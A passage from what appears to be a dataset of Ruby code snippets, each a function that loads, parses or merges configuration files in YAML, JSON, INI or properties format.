Configuration.new\n\t\t\t\t\n\t\t\t\tself.resolved_paths.each do |path|\n\t\t\t\t\tpath = File.expand_path(path)\n\t\t\t\t\t\n\t\t\t\t\tconfiguration.load_file(path)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn configuration\n\t\t\tend", "def config_read\n f = File.expand_path(CONFIG_FILE)\n return unless File.readable? f\n\n hash = loadYML(f)\n @used_dirs = hash['DIRS']\n @visited_files = hash['FILES']\n @bookmarks = hash['BOOKMARKS']\n @used_dirs.concat get_env_paths\nend", "def loadConfigurationFiles\n baseDirectory = 'configuration'\n\n mainDirectory = 'Configuration'\n customDirectory = 'myConfiguration'\n\n mainPath = Nil.joinPaths(baseDirectory, mainDirectory)\n customPath = Nil.joinPaths(baseDirectory, customDirectory)\n\n targets = Nil.readDirectory(mainPath)\n targets = targets.map{|x| ConfigurationEntry.new(x)}\n\n priorityFiles =\n [\n #need to make an exception for the User.rb here because it needs to get included first\n ['User', 2],\n ['Torrent', 1],\n ]\n\n priorityFiles.each do |name, priority|\n name = \"#{name}.rb\"\n targets.each do |entry|\n if entry.target.name == name\n entry.priority = priority\n break\n end\n end\n end\n\n targets.sort!\n\n targets.each do |entry|\n target = entry.target\n customPath = Nil.joinPaths(customPath, target.name)\n if File.exists?(customPath)\n require customPath\n else\n require target.path\n end\n end\nend", "def config(value)\n # require value if File.exists?(value)\n if File.exists?(value)\n fc = File.read(value)\n self.instance_eval(fc)\n end\n end", "def read_config_file(file); end", "def parse_config_file(path)\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end", "def configuration_for_repository\n {\n \"name\" => self.configuration_name,\n \"namespace\" => self.configuration_namespace,\n \"methodConfigVersion\" => self.configuration_snapshot,\n \"methodRepoMethod\" => {\n \"methodName\" => self.name,\n \"methodNamespace\" => self.namespace,\n \"methodVersion\" => self.snapshot\n },\n \"inputs\" => self.repository_parameter_list(:inputs),\n \"outputs\" => self.repository_parameter_list(:outputs),\n \"prerequisites\" => {},\n \"rootEntityType\" => self.entity_type,\n \"deleted\" => false\n }\n end", "def configure(conf)\n super\n fieldsToMaskFilePath = conf['fieldsToMaskFilePath']\n fieldsToExcludeJSONPaths = conf['fieldsToExcludeJSONPaths']\n handleSpecialCases = conf['handleSpecialEscapedJsonCases']\n\n if fieldsToExcludeJSONPaths != nil && fieldsToExcludeJSONPaths.size() > 0 \n fieldsToExcludeJSONPaths.split(\",\").each do | field |\n # To save splits we'll save the path as an array\n splitArray = field.split(\".\")\n symArray = []\n splitArray.each do | pathPortion |\n symArray.push(pathPortion.to_sym)\n end\n @fieldsToExcludeJSONPathsArray.push(symArray)\n end\n end\n\n File.open(fieldsToMaskFilePath, \"r\") do |f|\n f.each_line do |line|\n value = line.to_s # make sure it's string\n value = value.gsub(/\\s+/, \"\") # remove spaces\n value = value.gsub('\\n', '') # remove line breakers\n\n if value.end_with? \"/i\"\n # case insensitive\n value = value.delete_suffix('/i')\n hashObjectRegex = Regexp.new(/(?::#{value}=>\")(.*?)(?:\")/mi) # mask element in hash object\n innerJSONStringRegex = Regexp.new(/(\\\\+)\"#{value}\\\\+\":\\\\+.+?((?=(})|,( *|)(\\s|\\\\+)\\\")|(?=}\"$))/mi) # mask element in json string using capture groups that count the level of escaping inside the json string\n else\n # case sensitive\n hashObjectRegex = Regexp.new(/(?::#{value}=>\")(.*?)(?:\")/m) # mask element in hash object\n innerJSONStringRegex = Regexp.new(/(\\\\+)\"#{value}\\\\+\":\\\\+.+?((?=(})|,( *|)(\\s|\\\\+)\\\")|(?=}\"$))/m) # mask element in json string using capture groups that count the level of escaping inside the json string\n end\n\n @fields_to_mask.push(value)\n\n hashObjectRegexStringReplacement = \":#{value}=>\\\"#{MASK_STRING}\\\"\"\n @fields_to_mask_regex[hashObjectRegex] = hashObjectRegexStringReplacement\n @fields_to_mask_keys[hashObjectRegex] = value\n\n innerJSONStringRegexStringReplacement = \"\\\\1\\\"#{value}\\\\1\\\":\\\\1\\\"#{MASK_STRING}\\\\1\\\"\"\n @fields_to_mask_regex[innerJSONStringRegex] = innerJSONStringRegexStringReplacement\n @fields_to_mask_keys[innerJSONStringRegex] = value\n end\n end\n\n # if true, each record (a json record), will be checked for a special escaped json cases\n # any found case will be 'gsub' with the right solution \n @handleSpecialEscapedJsonCases = handleSpecialCases != nil && handleSpecialCases.casecmp(\"true\") == 0\n\n puts \"black list fields:\"\n puts @fields_to_mask\n end", "def import_config()\n # The config is top down.. anything after a [group] gets added as part\n # of that group until a new [group] is found. \n group = nil\n open(self.config_file).each do |line| \n line.strip!\n unless (/^\\#/.match(line))\n if(/\\s*=\\s*/.match(line))\n param, value = line.split(/\\s*=\\s*/, 2) \n var_name = \"#{param}\".chomp.strip\n value = value.chomp.strip\n new_value = ''\n if (value)\n if value =~ /^['\"](.*)['\"]$/\n new_value = $1\n else\n new_value = value\n end\n else\n new_value = ''\n end \n\n if group\n self.add_to_group(group, var_name, new_value)\n else\n self.add(var_name, new_value)\n end\n \n elsif(/^\\[(.+)\\]$/.match(line).to_a != [])\n group = /^\\[(.+)\\]$/.match(line).to_a[1]\n self.add(group, {})\n \n end\n end\n end \n end", "def load_config(file_path, overrides=[])\n\t\n\t\t#validate path.\n\t\tif file_path.nil? or not File.exist?(file_path)\n\t\t\traise 'Provide valid file path '# << file_path\n\t\tend\n\t\t\n\t\t#empty hash for final result.\n\t\tresult = {}\n\t\t\n\t\t#set globals to nil/ new set\n\t\t$current_group = nil\n\t\t$overridden = Set.new\n\t\t\n\t\t#after searching, I found that converting the symbols to strings was easier to do while comparing keys. I am injecting override.to_s here.\n\t\t#http://findnerd.com/list/view/Converting-string-to-symbol--symbol-to-string-in-rails/13647/\n\t\toverrides = overrides.inject([]) {|value, override|value << override.to_s}\n\t\t\n\t\tFile.foreach(file_path) do |line|\n\t\t\tunless line\n\t\t\t\tnext\n\t\t\tend\n\t\t\tprocess_line(line, overrides, result)\n\t\tend\n\t\t\n\t\t#returning result as an OpenStruct as it has a O(1) look up complexity. Since question mentioned quick query, I found this might be the a good structure instead of a Hash which still needs string/symbol comparison for keys.\n\t\t#http://stackoverflow.com/questions/1177594/when-should-i-use-struct-vs-openstruct\n\t\tOpenStruct.new(result)\n\tend", "def ReadConfig()\n\n # Deep copy \n puts \"Reading global config file #{$conf[:globalConfFile]}\" if $verbose\n conf = Marshal.load( Marshal.dump($conf) )\n\n optfile = @ConfFile\n conf[\"conffile\"] = optfile\n conf[\"filename\"] = @filename\n conf[\"dir\"] = @dir\n\n if File.exists?(optfile)\n begin\n puts \"Reading specific config file #{optfile}\" if $verbose\n c = YAML.load_file(optfile)\n raise \"Invalid yaml file\" if not c\n\n # surcharge d'options\n $sections.each {|s|\n next if c[s].nil?\n if c[s].class == Array\n if $sections_uniq.include?(s)\n # remove then add option\n c[s].each {|o|\n o2 = o.gsub(/=.*/, \"=\")\n conf[s].delete_if {|o3| o3.start_with?(o2)}\n conf[s].push o\n }\n else\n c[s].each {|o|\n if o[0] == \"!\"\n # delete option\n conf[s].delete o[1..-1]\n else\n # just add option\n conf[s].push o\n end\n }\n end\n else\n conf[s] = c[s]\n end\n }\n rescue\n puts \"Error loading #{optfile}\"\n end\n else\n puts \"Skip loading unknown specific config file #{optfile}\" if $verbose\n end\n\n conf.each {|k,v|\n if v.class == Array\n conf[k].each_index {|i|\n conf[k][i].gsub!(/%B/, $basedir) if conf[k][i].class == String\n conf[k][i].gsub!(/%b/, $confdir) if conf[k][i].class == String\n conf[k][i].gsub!(/%D/, @dir) if conf[k][i].class == String\n }\n else\n conf[k].gsub!(/%B/, $basedir) if conf[k].class == String\n conf[k].gsub!(/%b/, $confdir) if conf[k].class == String\n conf[k].gsub!(/%D/, @dir) if conf[k].class == String\n end\n }\n\n return conf\n end", "def read_component_configuration component,platform,configuration\n hp_dir=File.join(configuration['base_dir'],'src','hand',platform,component)\n hc_dir=File.join(configuration['base_dir'],'src','hand','common',component)\n gp_dir=File.join(configuration['base_dir'],'src','gen',platform,component)\n gc_dir=File.join(configuration['base_dir'],'src','gen','common',component)\n cfg={}\n [hp_dir,hc_dir,gp_dir,gc_dir].each do |cfg_dir|\n file_to_merge=File.join(cfg_dir,'build.cfg')\n if File.exists?(file_to_merge)\n cfg_to_merge=read_configuration(file_to_merge)\n cfg=merge_configurations(cfg,cfg_to_merge) \n end\n end\n return cfg\nend", "def config\n config = {}\n config['recipes'] = []\n config['recipes'] |= hash_path(@default_config, 'recipes', 'global') || []\n config['recipes'] |= hash_path(@default_config, 'recipes', @platform) || []\n @group_configs.each do |group_name, group_config|\n config['recipes'] |= hash_path(group_config, 'recipes', 'global') || []\n config['recipes'] |= hash_path(group_config, 'recipes', @platform) || []\n end\n people_recipes = @people_config['recipes'] || {}\n config['recipes'] |= people_recipes['global'] || []\n config['recipes'] |= people_recipes[@platform] || []\n config['attributes'] = {}\n config['attributes'].deep_merge!(@default_config['attributes'] || {}) { |key, old, new| Array.wrap(old) + Array.wrap(new) }\n @group_configs.each do |group_name, group_config|\n config['attributes'].deep_merge!(group_config['attributes']) { |key, old, new| Array.wrap(old) + Array.wrap(new) } unless group_config['attributes'].nil?\n end\n people_attributes = @people_config['attributes'] || {}\n config['attributes'].deep_merge!(people_attributes) { |key, old, new| Array.wrap(old) + Array.wrap(new) }\n config\n end", "def load_network_yml\n new_cfg = YAML.load_file(File.join(pattern_path('vnet_pattern'), 'config', 'network.yml'))\n\n yml_file = File.join(platform_pattern_path, 'config', 'network.yml')\n new_cfg = ::Chef::Mixin::DeepMerge.deep_merge(YAML.load_file(yml_file), new_cfg) if File.exist?(yml_file)\n\n optional_pattern_names.each do |name|\n yml_file = File.join(pattern_path(name), 'config', 'network.yml')\n new_cfg = ::Chef::Mixin::DeepMerge.deep_merge(YAML.load_file(yml_file), new_cfg) if File.exist?(yml_file)\n end\n\n new_cfg.with_indifferent_access\nend", "def scanConfig()\n configFile = @basePath + \".config.json\" ;\n open(configFile,\"r\"){|strm|\n @config = JSON.load(strm.read()) ;\n }\n return @config ;\n end", "def read_conf(conf)\n File.open(conf).readlines.map {|line|\n line.chomp!\n if /@include (.*)/ =~ line\n line = read_conf($1)\n end\n line\n }.flatten\nend", "def load_repo_config; end", "def parse(file_name)\n raise Mongify::ConfigurationFileNotFound, \"File #{file_name} is missing\" unless File.exists?(file_name)\n config = self.new\n config.instance_eval(File.read(file_name))\n config\n end", "def read_cfg\n config = Config.new\n File.open(\"#{$work_dir}/#{filename}\") do |file|\n while line = file.gets\n #next if /^#/\n if /^(PMASTER):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Master: #{$2}\"\n end\n if /^(AGENT):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Agent: #{$2}\"\n end\n end\n end\n return config\n end", "def read_configurations(file_name = T.unsafe(nil)); end", "def raw\n @rules ||= load_rules(\"#{Credy.root}/data/*.yml\")\n end", "def initialize\n @tree = YAML::parse(File.open(CONFIG_FILE))\n end", "def read_config_files(files); end", "def read!\n path = pathname\n path.glob('*').each do |file|\n #next if file.to_s.index(/[.]/) # TODO: rejection filter\n name = file.basename #path_to_name(file, path)\n self[name] = get!(file) unless key?(name)\n end\n self\n end", "def load_config\n if ::File.file?(CONFIG_PATH)\n config = ::OpenStruct.new\n config.reflected_validations = @@reflected_validations\n silence_warnings do\n eval(::IO.read(CONFIG_PATH), binding, CONFIG_PATH)\n end\n end\n end", "def load\n if File.exist?(@base_file)\n string = File.read(@base_file)\n obj = JSON.parse(string)\n else\n obj = {\n \"target\" => {},\n \"tester\" => {\n \"software\" => \"dolphin\",\n \"version\" => 0.1,\n },\n \"human\" => \"anonymous coward\"\n }\n end\n @config = HashTree[obj]\n\n if File.exist?(@completions_file)\n string = File.read(@completions_file)\n obj = JSON.parse(string)\n else\n obj = []\n end\n @completions = Set.new(obj)\n\n # in case there were manual edits to the file,\n # do completions\n @config.traverse do |node|\n self.add_terms(node.keys)\n node.values.each do |v|\n if v.is_a? String\n self.add_terms(v)\n end\n end\n end\n\n @config.each_path do |path|\n self.add_terms(path.join(\".\"))\n end\n end", "def configuration\n cfg = {}\n if (@command)\n cfg[:command] = @command.source\n else\n cfg[:shell_command_object_group] = @shell_command_object_group.name\n end\n\n cfg[:acl] = @acl.name if (@acl)\n return(cfg)\n end", "def reload_from_file\n \n # first remove all the previous methods from this instance\n if @specialmethods\n @specialmethods.each do |meth|\n (class << self; self; end).class_eval { undef_method(meth) }\n end\n end\n\n @specialmethods = []\n\n # then load the new methods\n # add a method to the Singleton class of this instance of Config.\n # giving a private readonly accessor named \"key\" that returns \"value\" for each\n # key value pair of the YAML file in @resource\n @con = loadresource()\n if @con\n @con.each do |key,value|\n (class << self; self; end).class_eval { define_method(key) { value }}\n @specialmethods.push key\n end\n end\n end", "def load_file(definition)\n paths = definition.file\n\n paths.each do |path|\n ext = file_module.extname(path).strip.downcase[1..-1]\n parse_method = \"parse_#{ext}\"\n unless respond_to?(parse_method)\n fail \"extension (#{ext}), for (#{definition.key}: #{path}) \" +\n \"is not valid, only yaml and json are supported\"\n end\n\n if file_module.exists?(path)\n config = public_send(parse_method, path)\n unless config.is_a?(Hash)\n fail \"[config #{parse_method}] config must be a hash\"\n end\n config.deep_symbolize_keys!\n return config[definition.key]\n end\n end\n\n list = paths.join(',')\n fail \"none of :#{definition.key} config files exist at (#{list})\"\n end", "def parse_config(config); end", "def load_config(filename)\n yml = YAML.load_file(filename)\n yml.each do |key, value| \n next if key == 'Templates'\n\n if key == 'PackageDirs'\n # PackageDirs.register value\n elsif key == 'AppDirs' \n # ApplicationDirMatcher.register value\n else\n app_matcher.register value\n end \n end\n end", "def load_attributes\n arr = File.open(@ConfigurationFilename).read.split\n\n raise \"Malformed configuration file.\" if arr.size % 2 != 0 \n \n index = 0 \n while index < arr.size \n @Attributes[arr[index]] = arr[index+1] \n index += 2 \n end \n end", "def ReadConfig()\n\n # Deep copy \n puts \"Reading global config file #{$conf[:globalConfFile]}\" if $verbose\n conf = Marshal.load( Marshal.dump($conf) )\n\n if @ConfFile.nil?\n return conf\n end\n\n optfile = @ConfFile\n optfile = optfile.gsub(/%f/, @doc.filename)\n optfile = optfile.gsub(/%F/, @doc.file)\n optfile = optfile.gsub(/%D/, @doc.dir)\n optfile = optfile.gsub(/%E/, @doc.extname)\n optfile = optfile.gsub(/%R/, @doc.dir + \"/\" + @doc.file.gsub(@doc.extname, \"\"))\n optfile = optfile.gsub(/%r/, @doc.file.gsub(@doc.extname, \"\"))\n optfile = optfile.gsub(/%t/, @Type)\n optfile = optfile.gsub(/%B/, $basedir)\n optfile = optfile.gsub(/%b/, $confdir)\n\n conf[\"conffile\"] = optfile\n conf[\"filename\"] = @doc.filename\n conf[\"dir\"] = @doc.dir\n\n if File.exists?(optfile)\n begin\n puts \"Reading specific config file #{optfile}\" if $verbose\n c = YAML.load_file(optfile)\n raise \"Invalid yaml file\" if not c\n\n # surcharge d'options\n $sections.each {|s|\n next if c[s].nil?\n if c[s].class == Array\n if $sections_uniq.include?(s)\n # remove then add option\n c[s].each {|o|\n o2 = o.gsub(/=.*/, \"=\")\n conf[s].delete_if {|o3| o3.start_with?(o2)}\n conf[s].push o\n }\n else\n c[s].each {|o|\n if o[0] == \"!\"\n # delete option\n conf[s].delete o[1..-1]\n else\n # just add option\n conf[s].push o\n end\n }\n end\n else\n conf[s] = c[s]\n end\n }\n rescue\n puts \"Error loading #{optfile}\"\n end\n else\n puts \"Skip loading unknown specific config file #{optfile}\" if $verbose\n end\n\n conf.each {|k,v|\n if v.class == Array\n conf[k].each_index {|i|\n conf[k][i].gsub!(/%B/, $basedir) if conf[k][i].class == String\n conf[k][i].gsub!(/%b/, $confdir) if conf[k][i].class == String\n conf[k][i].gsub!(/%D/, @doc.dir) if conf[k][i].class == String\n }\n else\n conf[k].gsub!(/%B/, $basedir) if conf[k].class == String\n conf[k].gsub!(/%b/, $confdir) if conf[k].class == String\n conf[k].gsub!(/%D/, @doc.dir) if conf[k].class == String\n end\n }\n\n return conf\n end", "def read_repository_info\n repository_url = File.open(@repository_conf).gets.chomp\n name = repository_url.split(\"/\").last.split(\".\").first\n return {\n :url => repository_url,\n :name => name,\n :container_prefix => container_prefix(name),\n :path => \"#{@work_dir}/#{name}\",\n }.freeze\n end", "def parse\n\n values = {}\n\n # Items are defined in the config file\n paths = YAML.load_file('config/paths.yml')\n\n paths.each do |key, item|\n values[key] = parse_item(item)\n end\n\n # Additional values\n values['account'].merge!({\n world: @world,\n username: @username,\n profile_url: PublicProfile.profile_url(@world, @username)\n })\n\n values\n end", "def config_load(config); end", "def load\n configuration # Need to call this to make sure it's populated\n self.instance_eval(IO.read(path), path, 1) if path && File.exists?(path)\n self\n end", "def read\n Fepath.logger.debug \"Reading: #{filepath}\"\n\n begin\n self.content = File.read(filepath)\n match_data = YAML_FRONT_MATTER_REGEXP.match(content)\n if match_data\n self.content = match_data.post_match\n self.attributes.merge!(YAML.load(match_data[1]))\n end\n rescue SyntaxError => e\n Fepath.logger.fatal \"YAML Exception reading #{filepath}: #{e.message}\"\n rescue Exception => e\n Fepath.logger.fatal \"Error reading file #{filepath}: #{e.message}\"\n end\n\n return self\n end", "def configuration\n cfg = {}\n cfg[:acl] = @acl.name if (@acl)\n\n if (@command)\n cfg[:command] = @command.source\n else\n cfg[:shell_command_object_group] = @shell_command_object_group.name\n end\n return(cfg)\n end", "def load_config(file_path)\n config = OpenStruct.new\n\tfile_path.gsub!(\"/\", \"\\\\\") if Selenium::WebDriver::Platform.windows?\n YAML.load_file(file_path).each do |k,v|\n config.send(\"#{k}=\", v)\n end\n\n config.browser ||= \"firefox\"\n config.username ||= config.user\n\n return config\n end", "def initialize \n @Attributes = Hash.new \n @ConfigurationFilename = \"configuration.txt\" \n load_attributes \n end", "def load(path, app)\n Dir.chdir(Hardwired::Paths.root || '.') do\n Dir.glob(path) do |file|\n $stderr.puts \"loading config file '#{file}'\" if app.logging?\n document = IO.read(file)\n @@config = RecursiveOpenStruct.new(config_for_env(YAML.load(document),app.environment) || {})\n return @@config \n end\n \n end\n end", "def read!\n file = root + FILENAME\n if file.exist?\n data = YAML.load(File.new(file))\n data.each do |name, value|\n self[name] = value\n end\n end\n return self\n end", "def from_config\n config ||= YAML::load(File.open((File.join(File.dirname(__FILE__), 'config.yml'))))\nend", "def initialize file\n @file = file\n @properties = {}\n# IO.foreach(file) do |line|\n# @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n# @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n# end\nFile.open(file, 'r') do |properties_file|\n properties_file.read.each_line do |line|\n line.strip!\n if (line[0] != ?# and line[0] != ?=)\n i = line.index('=')\n if (i)\n @properties[line[0..i - 1].strip] = line[i + 1..-1].strip\n else\n @properties[line] = ''\n end\n end\n end\n end\nend", "def get_config_file\n\t\t\t@@config_file_data ||= (\n\t\t\t\tconfig_file_name = @config[:file_name] || (RFM_CONFIG[:file_name] rescue nil) || 'rfm.yml'\n\t\t\t\tconfig_file_paths = [''] | (@config[:file_path] || (RFM_CONFIG[:file_path] rescue nil) || %w( config/ ))\n\t\t\t\tconfig_file_paths.collect do |f|\n\t\t\t\t\t(YAML.load_file(\"#{f}#{config_file_name}\") rescue {})\n\t\t\t\tend.inject({}){|h,a| h.merge(a)}\n\t\t\t) || {}\n\t\tend", "def parse_config \n path = \"#{Rails.root}/config/mebla.yml\"\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end", "def config_merge_with_parent(filters=nil)\n remote = if (self != Rfm::Config) \n \teval(@config[:parent] || 'Rfm::Config').config_merge_with_parent rescue {}\n else\n \tget_config_file.merge((defined?(RFM_CONFIG) and RFM_CONFIG.is_a?(Hash)) ? RFM_CONFIG : {})\n end.clone\n \n remote[:using] ||= []\n remote[:parents] ||= ['file', 'RFM_CONFIG']\n\n\t\t\tfilters = (@config[:use].rfm_force_array | filters.rfm_force_array).compact\n\t\t\trslt = config_filter(remote, filters).merge(config_filter(@config, filters))\n\t\t\t\n\t\t\trslt[:using].concat((@config[:use].rfm_force_array | filters).compact.flatten) #.join\n\t\t\trslt[:parents] << @config[:parent].to_s\n\t\t\t\n\t\t\trslt.delete :parent\n\t\t\t\n\t\t\trslt\n end", "def load_config_file\n data = {}\n if File.exists?(@configfile)\n File.open(@configfile, \"r\").each_line do |line|\n # strip blank spaces, tabs etc. off the lines\n line.gsub!(/\\s*$/, \"\")\n \n if (line =~ /^([^=]+)=\"([^=]*)\"$/)\n key = $1.downcase\n val = $2\n \n case key\n when /^ve_(private|root)$/\n data[key] = val.gsub!(/\\$VEID/, @ctid)\n else\n data[key] = val\n end\n end\n end\n end\n data\n end", "def load config\n \n # TODO better place for this?\n if config['log4r_config']\n ycfg = Log4r::YamlConfigurator\n # ycfg['foo'] = bar # replaces instances of #{foo} in the YAML with bar\n ycfg.load_yaml_string(YAML.dump(config))\n end\n \n # gah - log4r expects strings, so only convert to symbols here\n config.keys_to_symbols!\n \n # load all scrapers, and mix all shared fields into them\n config[:scrapers].each_pair do |group, included|\n \n shared_setup = {}\n scraper_setups = {}\n \n # load setups\n included.each_pair do |key, value|\n target = if is_scraper?(key)\n logger.info \"Loading scraper #{group}::#{key}\"\n scraper_setups\n else\n shared_setup\n end\n\n target[key] = value\n end\n \n # create each scraper when whole setup is present\n scrapers[group] = setup_scrapers(scraper_setups, shared_setup);\n end if config[:scrapers]\n end", "def associate_component cfg_file, components\n components.select{|name, data|\n cfg_file.select{|l| !l.match(\"//\") && l.include?(\"name\") && l.include?(\"=\") }.map{|l| l.match(/\\s#{name}\\s/)}.any?\n }.map{|name, data| name}\n end", "def config_from_raw(raw_config)\n config = Hash.new\n\n raw_config.split(\"\\n\").select { |line| line.match(/:\\s/) }.each do |line|\n key, value = line.split(/:\\s+/)\n config[key] = value\n end\n\n config\nend", "def merge_conf_file!(result, conf_file_path)\n # parse conf file\n conf = Fwissr.parse_conf_file(conf_file_path)\n if conf\n conf_file_name = ::File.basename(conf_file_path, ::File.extname(conf_file_path))\n\n result_part = result\n\n unless TOP_LEVEL_CONF_FILES.include?(conf_file_name) || @options['top_level']\n # merge conf at the correct place in registry\n #\n # eg: my_app.json => /my_app\n # my_app.database.yml => /my_app/database\n # my_app.database.slave.yml => /my_app/database/slave\n key_ary = conf_file_name.split('.')\n key_ary.each do |key_part|\n result_part = (result_part[key_part] ||= { })\n end\n end\n\n Fwissr.merge_conf!(result_part, conf)\n else\n raise \"Failed to parse conf file: #{conf_file_path}\"\n end\n end", "def config_files(override); end", "def initialize(source, dest, ignore_pattern = '^$')\n self.source = source\n self.dest = dest\n self.ignore_pattern = Regexp.new(ignore_pattern + '|^\\.(?!htaccess).*$|^_(?!posts).*$')\n self.layouts = {}\n self.posts = []\n self.categories = Hash.new { |hash, key| hash[key] = Array.new }\n self.read_settings\n self.options = {}\n\n config_file_path = File.join(self.source, '.jekyllrc')\n if File.exists?(config_file_path)\n self.options = YAML.load(File.read(config_file_path))\n end\n \n self.options['layouts_path'] ||= File.join(self.source, '_layouts')\n self.options['includes_path'] ||= File.join(self.source, '_includes')\n end", "def parse_config\n %w(/etc/steel/steel.yml steel.yml).each do |cfg|\n if File.exist?(cfg)\n begin\n y = YAML.load_file(cfg)\n rescue Psych::SyntaxError => e\n error \"[#{e.class}] Failed to parse '#{cfg}'!!\"\n error e.message\n exit 1\n end\n # Merge the contents of the config into @config.\n config.merge!(y)\n end\n end\n end", "def load_config(file_path)\n config = OpenStruct.new\n YAML.load_file(file_path).each do |k,v|\n config.send(\"#{k}=\", v)\n end\n return config\n end", "def process_config(config_file, options=OpenStruct.new)\n # Defaults\n config = {\n 'target_directory' => 'auto',\n 'copy_rpm_data' => false\n }\n\n if File.exist?(config_file)\n begin\n system_config = YAML.load_file(config_file)\n if system_config\n config.merge!(system_config)\n end\n rescue\n fail(\"Error: Config file '#{config_file}' could not be processed\")\n end\n end\n\n if options.copy_rpm_data.nil?\n options.copy_rpm_data = (config['copy_rpm_data'].to_s == 'true')\n end\n\n if options.target_dir.nil? && config['target_directory']\n if config['target_directory'] == 'auto'\n options.target_dir = simp_target_dir\n else\n unless config['target_directory'][0].chr == '/'\n fail(\"Error: 'target_directory' in '#{config_file}' must be an absolute path\")\n end\n\n options.target_dir = config['target_directory'].strip\n end\n end\n\n return options\nend", "def resolve\n options[:rootpath] ||= Pathname.pwd\n options[:rootpath] = Pathname.new(options[:rootpath])\n options[:namespaces] ||= []\n options[:preset] ||= resolve_preset\n\n if %w{rails rails-engine}.include?(options[:preset])\n options[:rootpath] = detect_engine_root if options[:preset] == 'rails-engine'\n options[:namespaces] = load_rails_default_namespaces(options[:rootpath]) if options[:namespaces] == []\n options[:basepath] ||= options[:rootpath] + 'config'\n else\n options[:basepath] ||= options[:rootpath]\n end\n\n options[:namespaces] = resolve_namespaces(options[:namespaces])\n options[:encryption_keys] = Keys::Encryption.resolve(filenames: options[:encryption_keys],\n namespaces: options[:namespaces],\n rootpath: options[:rootpath])\n options[:decryption_keys] = Keys::Decryption.resolve(filenames: options[:decryption_keys],\n namespaces: options[:namespaces],\n rootpath: options[:rootpath])\n options[:basepath] = Pathname.new(options[:basepath])\n options[:files] ||= [\n options[:basepath] + 'settings*.yml',\n options[:basepath] + 'settings',\n ]\n\n options[:signature_name] = options[:signature_name]\n\n options\n end", "def load_config()\n @config = get_xml(@xml_api_config_path)\n @config_doc = REXML::Document.new(@config)\n \n @config_doc = REXML::Document.new(@config)\n if !@config_doc.elements[\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation/remote\"].nil?\n @repository_url = @config_doc.elements[\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation/remote\"].text || \"\"\n end\n @repository_urls = []\n if !@config_doc.elements[\"/project/scm/locations\"].nil?\n @config_doc.elements.each(\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation\"){|e| @repository_urls << e.elements[\"remote\"].text }\n end\n if !@config_doc.elements[\"/project/scm/browser/location\"].nil?\n @repository_browser_location = @config_doc.elements[\"/project/scm/browser/location\"].text\n end\n if !@config_doc.elements[\"/project/description\"].nil?\n @description = @config_doc.elements[\"/project/description\"].text || \"\"\n end\n end", "def readProperties\n @propertiesFile = \"#{File.expand_path(File.dirname($0))}/../../conf/ddbt.properties\"\n @properties = {}\n IO.foreach(@propertiesFile) do |line|\n @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n end\nend", "def read(*args)\n raise ArgumentError.new('No arguments passed to ConfigReader#read') if args.empty?\n\n config = case\n when args.last.end_with?('.json')\n read_json_config(args)\n when args.last.end_with?('.yaml')\n read_yaml_config(args)\n else\n read_json_config(args) || read_yaml_config(args)\n end\n\n raise ArgumentError.new(\"Config file #{File.join(args)} not found\") if config.nil?\n\n config\n end", "def config\n params = {}\n\n roots.each do |root|\n file = File.join(root, \"config/autoprefixer.yml\")\n\n next unless File.exist?(file)\n\n parsed = ::YAML.load_file(file)\n next unless parsed\n\n params = parsed\n\n break\n end\n\n params = params.symbolize_keys\n params[:env] ||= Rails.env.to_s\n params\n end", "def get_config(fn)\n YAML.load_file(fn).symbolize_keys\nend", "def loadRepository\n\n @DIR_NAME = @REPOSITORYPATHORSELECT\n\n #puts \"#{@DIR_NAME} Index is... #{@DIR_NAME.index(\"/\")} : #{@@FS}\"\n\n \t\tif (@DIR_NAME.index(\"/\") != nil && @@FS == \"\\\\\" )\n \t\t\t@DIR_NAME = Parser.replaceAll(@DIR_NAME,\"/\",@@FS)\n \t\telsif( @DIR_NAME.index(\"\\\\\") != nil && @@FS == \"/\")\n \t\t\t@DIR_NAME = Parser.replaceAll(@DIR_NAME,\"\\\\\",@@FS)\n end\n\n #puts \"1 dirname... #{@DIR_NAME}\"\n\n @DIR_NAME = @DIR_NAME[0..@DIR_NAME.rindex(@@FS)]\n #puts \"2 dirname... #{@DIR_NAME}\"\n \t\t@FILE_NAME = @REPOSITORYPATHORSELECT\n #puts \"1 filename... #{@FILE_NAME}\"\n \t\tif( @FILE_NAME.index(\"/\") != nil && @@FS == \"\\\\\")\n \t\t\t@FILE_NAME = Parser.replaceAll(@FILE_NAME,\"/\",@@FS)\n \t\telsif( @FILE_NAME.index(\"\\\\\") != nil && @@FS == \"/\")\n \t\t\t@FILE_NAME = Parser.replaceAll(@FILE_NAME,\"\\\\\",@@FS)\n end\n #puts \"2 filename... #{@FILE_NAME}\"\n @FILE_NAME = @FILE_NAME[@FILE_NAME.rindex(@@FS)+1,@FILE_NAME.size]\n #puts \"3 filename... #{@FILE_NAME}\"\n\n #puts \"loadRepository : #{@DIR_NAME}\"\n if !File.exist?(@DIR_NAME)\n FileUtils.mkdir_p(@DIR_NAME)\n end\n if File.exist?(@DIR_NAME+@FILE_NAME)\n loadeOb = File.open(@DIR_NAME+@FILE_NAME).read\n @REPOSITORY = YAML::load(loadeOb)\n else\n @REPOSITORY = Hash.new\n end\n return @REPOSITORY\n end", "def file( config_file )\n unless File.exists?( config_file )\n raise BadConfigurationException, \"No user defined configuration \" + \n \"file found at #{config_file}.\"\n else\n begin\n config = YAML.load_file(config_file)\n unless config.respond_to? :[]\n raise BadConfigurationException, \"YAML file expected to contain 